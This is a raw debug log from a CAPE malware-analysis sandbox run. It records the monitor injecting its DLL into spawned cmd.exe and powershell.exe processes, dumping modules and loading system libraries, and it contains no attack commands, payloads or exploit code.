2019-08-13 23:48:23,065 [root] DEBUG: DLL loaded at 0x000007FEFD910000: C:\Windows\system32\DEVOBJ (0x1a000 bytes).
2019-08-13 23:48:23,065 [root] INFO: Announced 64-bit process name: cmd.exe pid: 2960
2019-08-13 23:48:23,065 [root] DEBUG: DLL loaded at 0x000007FEFD910000: C:\Windows\system32\DEVOBJ (0x1a000 bytes).
2019-08-13 23:48:23,065 [root] DEBUG: GetHookCallerBase: thread 2376 (handle 0x0), return address 0x000000013F13C7D9, allocation base 0x000000013F130000.
2019-08-13 23:48:23,065 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:23,082 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x000000004AAB0000, stack from 0x0000000000064000-0x0000000000160000
2019-08-13 23:48:23,082 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:23,082 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000013F130000 main_caller_retaddr 0x000000013F13C7D9 parent_caller_retaddr 0x000000013F13C453.
2019-08-13 23:48:23,082 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:23,082 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:23,082 [root] INFO: Added new process to list with pid: 2444
2019-08-13 23:48:23,082 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:23,082 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000013F130000.
2019-08-13 23:48:23,098 [root] INFO: Monitor successfully loaded in process with pid 2444.
2019-08-13 23:48:23,098 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:23,098 [root] DEBUG: DumpProcess: Module entry point VA is 0x000000000000C63C.
2019-08-13 23:48:23,098 [root] DEBUG: GetHookCallerBase: thread 2340 (handle 0x0), return address 0x000000004AAB9099, allocation base 0x000000004AAB0000.
2019-08-13 23:48:23,098 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:23,098 [root] DEBUG: DLL loaded at 0x000007FEFBDB0000: C:\Windows\system32\propsys (0x12c000 bytes).
2019-08-13 23:48:23,098 [root] DEBUG: DLL loaded at 0x000007FEFBDB0000: C:\Windows\system32\propsys (0x12c000 bytes).
2019-08-13 23:48:23,098 [root] DEBUG: Loader: Injecting process 2672 (thread 2816) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:23,098 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000004AAB0000 main_caller_retaddr 0x000000004AAB9099 parent_caller_retaddr 0x000000004AAB98F3.
2019-08-13 23:48:23,098 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:48:23,098 [root] DEBUG: Loader: Injecting process 2960 (thread 2964) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:23,112 [root] DEBUG: Process image base: 0x000000013F130000
2019-08-13 23:48:23,112 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000004AAB0000.
2019-08-13 23:48:23,112 [root] DEBUG: DLL loaded at 0x000007FEFC700000: C:\Windows\system32\ntmarta (0x2d000 bytes).
2019-08-13 23:48:23,112 [root] DEBUG: DLL loaded at 0x000007FEFC700000: C:\Windows\system32\ntmarta (0x2d000 bytes).
2019-08-13 23:48:23,112 [root] DEBUG: Process image base: 0x000000004AAB0000
2019-08-13 23:48:23,112 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:23,112 [root] DEBUG: DumpProcess: Module entry point VA is 0x00000000000090B4.
2019-08-13 23:48:23,112 [root] DEBUG: DLL loaded at 0x000007FEFE3B0000: C:\Windows\system32\WLDAP32 (0x52000 bytes).
2019-08-13 23:48:23,128 [root] DEBUG: DLL loaded at 0x000007FEFE3B0000: C:\Windows\system32\WLDAP32 (0x52000 bytes).
2019-08-13 23:48:23,128 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:23,128 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000013F1A7000 - 0x000007FEFF9A0000
2019-08-13 23:48:23,128 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000004AB09000 - 0x0000000077680000
2019-08-13 23:48:23,128 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\System32\cryptbase (0xf000 bytes).
2019-08-13 23:48:23,128 [root] DEBUG: InjectDllViaIAT: Allocated 0x22c bytes for new import table at 0x000000013F1B0000.
2019-08-13 23:48:23,128 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\2372_355746504238514382019
2019-08-13 23:48:23,160 [root] DEBUG: InjectDllViaIAT: Allocated 0x1c0 bytes for new import table at 0x000000004AB10000.
2019-08-13 23:48:23,176 [root] DEBUG: DLL unloaded from 0x000007FEFEA80000.
2019-08-13 23:48:23,176 [root] DEBUG: DLL unloaded from 0x000007FEFEA80000.
2019-08-13 23:48:23,176 [root] DEBUG: DLL unloaded from 0x000007FEFEA80000.
2019-08-13 23:48:23,176 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:23,176 [root] DEBUG: DLL unloaded from 0x000007FEFEA80000.
2019-08-13 23:48:23,176 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x73e00.
2019-08-13 23:48:23,176 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:23,332 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:23,378 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2672
2019-08-13 23:48:23,378 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\2444_956392258238514382019
2019-08-13 23:48:23,424 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:23,424 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x54400.
2019-08-13 23:48:23,424 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2960
2019-08-13 23:48:23,440 [root] DEBUG: Dump-on-API: Dumped module at 0x000000013F130000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:23,440 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:23,471 [root] DEBUG: Dump-on-API: Dumped module at 0x000000004AAB0000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:23,471 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:23,471 [root] DEBUG: DLL unloaded from 0x760D0000.
2019-08-13 23:48:23,549 [root] DEBUG: DLL unloaded from 0x72A60000.
2019-08-13 23:48:23,549 [root] DEBUG: DLL loaded at 0x000007FEFE9E0000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2019-08-13 23:48:23,549 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:23,565 [root] DEBUG: DLL loaded at 0x000007FEFEA80000: C:\Windows\system32\shell32 (0xd88000 bytes).
2019-08-13 23:48:23,565 [root] DEBUG: DLL loaded at 0x000007FEFD460000: C:\Windows\system32\apphelp (0x57000 bytes).
2019-08-13 23:48:23,565 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:23,581 [root] INFO: Announced 64-bit process name: powershell.exe pid: 2608
2019-08-13 23:48:23,596 [root] DEBUG: DLL loaded at 0x000007FEFC920000: C:\Windows\system32\USERENV (0x1e000 bytes).
2019-08-13 23:48:23,581 [root] DEBUG: DLL unloaded from 0x77230000.
2019-08-13 23:48:23,596 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:23,596 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x000000013F130000, stack from 0x0000000000195000-0x00000000001A0000
2019-08-13 23:48:23,596 [root] DEBUG: DLL loaded at 0x000007FEFD590000: C:\Windows\system32\profapi (0xf000 bytes).
2019-08-13 23:48:23,596 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:23,596 [root] DEBUG: DLL loaded at 0x734E0000: C:\Windows\SysWOW64\ieframe (0xa80000 bytes).
2019-08-13 23:48:23,596 [root] INFO: Added new process to list with pid: 2672
2019-08-13 23:48:23,596 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:23,611 [root] INFO: Monitor successfully loaded in process with pid 2672.
2019-08-13 23:48:23,611 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:23,611 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:23,611 [root] DEBUG: DLL loaded at 0x74840000: C:\Windows\SysWOW64\OLEACC (0x3c000 bytes).
2019-08-13 23:48:23,611 [root] DEBUG: DLL loaded at 0x000007FEFC070000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32 (0x1f4000 bytes).
2019-08-13 23:48:23,628 [root] INFO: Announced 64-bit process name: cmd.exe pid: 2420
2019-08-13 23:48:23,644 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:23,644 [root] DEBUG: GetHookCallerBase: thread 2816 (handle 0x0), return address 0x000000013F13C7D9, allocation base 0x000000013F130000.
2019-08-13 23:48:23,644 [root] DEBUG: DLL loaded at 0x000007FEFBDB0000: C:\Windows\system32\propsys (0x12c000 bytes).
2019-08-13 23:48:23,644 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:23,644 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:23,658 [root] DEBUG: DLL loaded at 0x000007FEF9C30000: C:\Windows\system32\LINKINFO (0xc000 bytes).
2019-08-13 23:48:23,658 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:23,658 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000013F130000 main_caller_retaddr 0x000000013F13C7D9 parent_caller_retaddr 0x000000013F13C453.
2019-08-13 23:48:23,658 [root] DEBUG: DLL loaded at 0x000007FEFE150000: C:\Windows\system32\SETUPAPI (0x1d7000 bytes).
2019-08-13 23:48:23,658 [root] DEBUG: Loader: Injecting process 2608 (thread 2612) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:23,658 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:23,674 [root] DEBUG: DLL loaded at 0x000007FEF9C30000: C:\Windows\system32\LINKINFO (0xc000 bytes).
2019-08-13 23:48:23,674 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000013F130000.
2019-08-13 23:48:23,674 [root] DEBUG: DLL loaded at 0x000007FEF8840000: C:\Windows\system32\ntshrui (0x80000 bytes).
2019-08-13 23:48:23,674 [root] DEBUG: DLL loaded at 0x000007FEFD8D0000: C:\Windows\system32\CFGMGR32 (0x36000 bytes).
2019-08-13 23:48:23,674 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:23,674 [root] DEBUG: Process image base: 0x000000013F130000
2019-08-13 23:48:23,674 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x000000004AAB0000, stack from 0x00000000000F4000-0x00000000001F0000
2019-08-13 23:48:23,690 [root] DEBUG: DumpProcess: Module entry point VA is 0x000000000000C63C.
2019-08-13 23:48:23,690 [root] DEBUG: DLL loaded at 0x000007FEF8840000: C:\Windows\system32\ntshrui (0x80000 bytes).
2019-08-13 23:48:23,690 [root] DEBUG: DLL loaded at 0x000007FEFD910000: C:\Windows\system32\DEVOBJ (0x1a000 bytes).
2019-08-13 23:48:23,690 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:23,690 [root] INFO: Added new process to list with pid: 2960
2019-08-13 23:48:23,690 [root] DEBUG: DLL loaded at 0x000007FEFD070000: C:\Windows\system32\srvcli (0x23000 bytes).
2019-08-13 23:48:23,690 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:23,690 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:48:23,706 [root] DEBUG: DLL loaded at 0x000007FEFD070000: C:\Windows\system32\srvcli (0x23000 bytes).
2019-08-13 23:48:23,706 [root] DEBUG: DLL loaded at 0x000007FEFC700000: C:\Windows\system32\ntmarta (0x2d000 bytes).
2019-08-13 23:48:23,706 [root] INFO: Monitor successfully loaded in process with pid 2960.
2019-08-13 23:48:23,706 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000013F1A7000 - 0x000007FEFF9A0000
2019-08-13 23:48:23,706 [root] DEBUG: Loader: Injecting process 2420 (thread 1068) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:23,706 [root] DEBUG: DLL loaded at 0x000007FEFE3B0000: C:\Windows\system32\WLDAP32 (0x52000 bytes).
2019-08-13 23:48:23,721 [root] DEBUG: GetHookCallerBase: thread 2964 (handle 0x0), return address 0x000000004AAB9099, allocation base 0x000000004AAB0000.
2019-08-13 23:48:23,721 [root] DEBUG: InjectDllViaIAT: Allocated 0x22c bytes for new import table at 0x000000013F1B0000.
2019-08-13 23:48:23,721 [root] DEBUG: Process image base: 0x000000004AAB0000
2019-08-13 23:48:23,767 [root] INFO: Process with pid 1280 has terminated
2019-08-13 23:48:23,767 [root] DEBUG: DLL loaded at 0x000007FEF8C60000: C:\Windows\system32\cscapi (0xf000 bytes).
2019-08-13 23:48:23,767 [root] DEBUG: DLL unloaded from 0x000007FEFEA80000.
2019-08-13 23:48:23,767 [root] DEBUG: DLL unloaded from 0x000007FEFEA80000.
2019-08-13 23:48:23,767 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000004AAB0000 main_caller_retaddr 0x000000004AAB9099 parent_caller_retaddr 0x000000004AAB98F3.
2019-08-13 23:48:23,767 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:23,767 [root] INFO: Process with pid 2188 has terminated
2019-08-13 23:48:23,767 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\2672_619157624238514382019
2019-08-13 23:48:23,767 [root] DEBUG: DLL loaded at 0x000007FEFB620000: C:\Windows\system32\slc (0xb000 bytes).
2019-08-13 23:48:23,783 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:23,831 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000004AAB0000.
2019-08-13 23:48:23,831 [root] DEBUG: DLL loaded at 0x000007FEF8C60000: C:\Windows\system32\cscapi (0xf000 bytes).
2019-08-13 23:48:23,831 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:23,831 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x73e00.
2019-08-13 23:48:23,831 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000004AB09000 - 0x0000000077680000
2019-08-13 23:48:23,831 [root] DEBUG: DumpProcess: Module entry point VA is 0x00000000000090B4.
2019-08-13 23:48:23,831 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2608
2019-08-13 23:48:23,878 [root] DEBUG: DLL loaded at 0x000007FEFB620000: C:\Windows\system32\slc (0xb000 bytes).
2019-08-13 23:48:23,878 [root] DEBUG: InjectDllViaIAT: Allocated 0x1c0 bytes for new import table at 0x000000004AB10000.
2019-08-13 23:48:23,878 [root] DEBUG: Dump-on-API: Dumped module at 0x000000013F130000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:23,878 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\System32\cryptbase (0xf000 bytes).
2019-08-13 23:48:23,940 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:23,940 [root] DEBUG: DLL loaded at 0x000007FEFCE60000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2019-08-13 23:48:23,940 [root] DEBUG: DLL loaded at 0x000007FEFCE60000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2019-08-13 23:48:23,940 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:23,940 [root] DEBUG: DLL loaded at 0x000007FEFE9E0000: C:\Windows\system32\CLBCatQ (0x99000 bytes).
2019-08-13 23:48:23,956 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:23,956 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:23,956 [root] DEBUG: DLL loaded at 0x000007FEFEA80000: C:\Windows\system32\shell32 (0xd88000 bytes).
2019-08-13 23:48:23,970 [root] DEBUG: DLL loaded at 0x000007FEFCB60000: C:\Windows\system32\rsaenh (0x47000 bytes).
2019-08-13 23:48:23,970 [root] DEBUG: DLL loaded at 0x000007FEFCB60000: C:\Windows\system32\rsaenh (0x47000 bytes).
2019-08-13 23:48:23,970 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:23,970 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 2420
2019-08-13 23:48:23,970 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\2960_2062190962238514382019
2019-08-13 23:48:23,970 [root] DEBUG: DLL loaded at 0x000007FEFC920000: C:\Windows\system32\USERENV (0x1e000 bytes).
2019-08-13 23:48:24,033 [root] DEBUG: DLL unloaded from 0x760D0000.
2019-08-13 23:48:24,033 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:24,033 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:24,033 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x54400.
2019-08-13 23:48:24,033 [root] DEBUG: DLL loaded at 0x000007FEFD590000: C:\Windows\system32\profapi (0xf000 bytes).
2019-08-13 23:48:24,033 [root] DEBUG: DLL unloaded from 0x734E0000.
2019-08-13 23:48:24,049 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x000000013F130000, stack from 0x0000000000195000-0x00000000001A0000
2019-08-13 23:48:24,049 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:24,049 [root] DEBUG: Dump-on-API: Dumped module at 0x000000004AAB0000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:24,065 [root] DEBUG: DLL loaded at 0x000007FEFC070000: C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\comctl32 (0x1f4000 bytes).
2019-08-13 23:48:24,065 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1E26EKS5IPSFOESNL930.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\1E26EKS5IPSFOESNL930.temp'
2019-08-13 23:48:24,065 [root] DEBUG: DLL unloaded from 0x77230000.
2019-08-13 23:48:24,065 [root] INFO: Added new process to list with pid: 2608
2019-08-13 23:48:24,065 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:24,079 [root] DEBUG: DLL loaded at 0x000007FEFD460000: C:\Windows\system32\apphelp (0x57000 bytes).
2019-08-13 23:48:24,079 [root] DEBUG: DLL loaded at 0x000007FEF98C0000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei (0x97000 bytes).
2019-08-13 23:48:24,079 [root] DEBUG: DLL loaded at 0x000007FEFE150000: C:\Windows\system32\SETUPAPI (0x1d7000 bytes).
2019-08-13 23:48:24,079 [root] INFO: Monitor successfully loaded in process with pid 2608.
2019-08-13 23:48:24,095 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1E26EKS5IPSFOESNL930.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\1E26EKS5IPSFOESNL930.temp'
2019-08-13 23:48:24,095 [root] DEBUG: DLL loaded at 0x72A60000: C:\Windows\SysWOW64\ieframe (0xa80000 bytes).
2019-08-13 23:48:24,095 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:24,095 [root] INFO: Announced 64-bit process name: powershell.exe pid: 2956
2019-08-13 23:48:24,111 [root] DEBUG: DLL loaded at 0x000007FEFD8D0000: C:\Windows\system32\CFGMGR32 (0x36000 bytes).
2019-08-13 23:48:24,111 [root] DEBUG: DLL loaded at 0x000007FEF9C30000: C:\Windows\system32\LINKINFO (0xc000 bytes).
2019-08-13 23:48:24,111 [root] DEBUG: GetHookCallerBase: thread 2612 (handle 0x0), return address 0x000000013F13C7D9, allocation base 0x000000013F130000.
2019-08-13 23:48:24,111 [root] DEBUG: DLL unloaded from 0x000007FEFDC60000.
2019-08-13 23:48:24,111 [root] DEBUG: DLL loaded at 0x74730000: C:\Windows\SysWOW64\OLEACC (0x3c000 bytes).
2019-08-13 23:48:24,111 [root] DEBUG: DLL loaded at 0x000007FEF29E0000: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks (0x99d000 bytes).
2019-08-13 23:48:24,111 [root] DEBUG: DLL loaded at 0x000007FEFD910000: C:\Windows\system32\DEVOBJ (0x1a000 bytes).
2019-08-13 23:48:24,127 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x000000004AAB0000, stack from 0x0000000000034000-0x0000000000130000
2019-08-13 23:48:24,127 [root] DEBUG: DLL loaded at 0x000007FEF8840000: C:\Windows\system32\ntshrui (0x80000 bytes).
2019-08-13 23:48:24,127 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:24,127 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000013F130000 main_caller_retaddr 0x000000013F13C7D9 parent_caller_retaddr 0x000000013F13C453.
2019-08-13 23:48:24,127 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1E26EKS5IPSFOESNL930.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\1E26EKS5IPSFOESNL930.temp'
2019-08-13 23:48:24,127 [root] DEBUG: DLL loaded at 0x0000000074660000: C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\MSVCR80 (0xc9000 bytes).
2019-08-13 23:48:24,127 [root] INFO: Announced 64-bit process name: cmd.exe pid: 3048
2019-08-13 23:48:24,142 [root] DEBUG: DLL unloaded from 0x000007FEFEA80000.
2019-08-13 23:48:24,142 [root] DEBUG: DLL loaded at 0x000007FEFBDB0000: C:\Windows\system32\propsys (0x12c000 bytes).
2019-08-13 23:48:24,142 [root] INFO: Added new process to list with pid: 2420
2019-08-13 23:48:24,142 [root] DEBUG: DLL loaded at 0x000007FEFD070000: C:\Windows\system32\srvcli (0x23000 bytes).
2019-08-13 23:48:24,142 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:24,142 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000013F130000.
2019-08-13 23:48:24,142 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185cbfe.TMP": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF185cbfe.TMP'
2019-08-13 23:48:24,157 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:24,157 [root] INFO: Monitor successfully loaded in process with pid 2420.
2019-08-13 23:48:24,157 [root] DEBUG: DLL loaded at 0x000007FEFC700000: C:\Windows\system32\ntmarta (0x2d000 bytes).
2019-08-13 23:48:24,157 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:24,157 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:24,157 [root] DEBUG: DumpProcess: Module entry point VA is 0x000000000000C63C.
2019-08-13 23:48:24,174 [root] DEBUG: GetHookCallerBase: thread 1068 (handle 0x0), return address 0x000000004AAB9099, allocation base 0x000000004AAB0000.
2019-08-13 23:48:24,174 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms'
2019-08-13 23:48:24,174 [root] DEBUG: DLL loaded at 0x000007FEFE3B0000: C:\Windows\system32\WLDAP32 (0x52000 bytes).
2019-08-13 23:48:24,174 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:24,174 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:24,174 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:48:24,174 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x000000004AAB0000 main_caller_retaddr 0x000000004AAB9099 parent_caller_retaddr 0x000000004AAB98F3.
2019-08-13 23:48:24,190 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1E26EKS5IPSFOESNL930.temp" does not exist, skip.
2019-08-13 23:48:24,204 [root] DEBUG: Loader: Injecting process 2956 (thread 2940) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:24,204 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:24,204 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x000000004AAB0000.
2019-08-13 23:48:24,220 [root] DEBUG: DLL loaded at 0x000007FEF98C0000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei (0x97000 bytes).
2019-08-13 23:48:24,220 [root] DEBUG: Process image base: 0x000000013F130000
2019-08-13 23:48:24,220 [root] DEBUG: Loader: Injecting process 3048 (thread 3044) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:24,220 [root] DEBUG: DumpProcess: Module entry point VA is 0x00000000000090B4.
2019-08-13 23:48:24,220 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1E26EKS5IPSFOESNL930.temp" does not exist, skip.
2019-08-13 23:48:24,220 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:24,236 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\2608_1662669426248514382019
2019-08-13 23:48:24,236 [root] DEBUG: Process image base: 0x000000004AAB0000
2019-08-13 23:48:24,236 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\System32\cryptbase (0xf000 bytes).
2019-08-13 23:48:24,236 [root] DEBUG: DLL loaded at 0x000007FEF29E0000: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks (0x99d000 bytes).
2019-08-13 23:48:24,236 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000013F1A7000 - 0x000007FEFF9A0000
2019-08-13 23:48:24,236 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x73e00.
2019-08-13 23:48:24,236 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:24,252 [root] DEBUG: InjectDllViaIAT: Allocated 0x22c bytes for new import table at 0x000000013F1B0000.
2019-08-13 23:48:24,252 [root] DEBUG: DLL loaded at 0x0000000074660000: C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\MSVCR80 (0xc9000 bytes).
2019-08-13 23:48:24,252 [root] DEBUG: Dump-on-API: Dumped module at 0x000000013F130000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:24,252 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x000000004AB09000 - 0x0000000077680000
2019-08-13 23:48:24,252 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
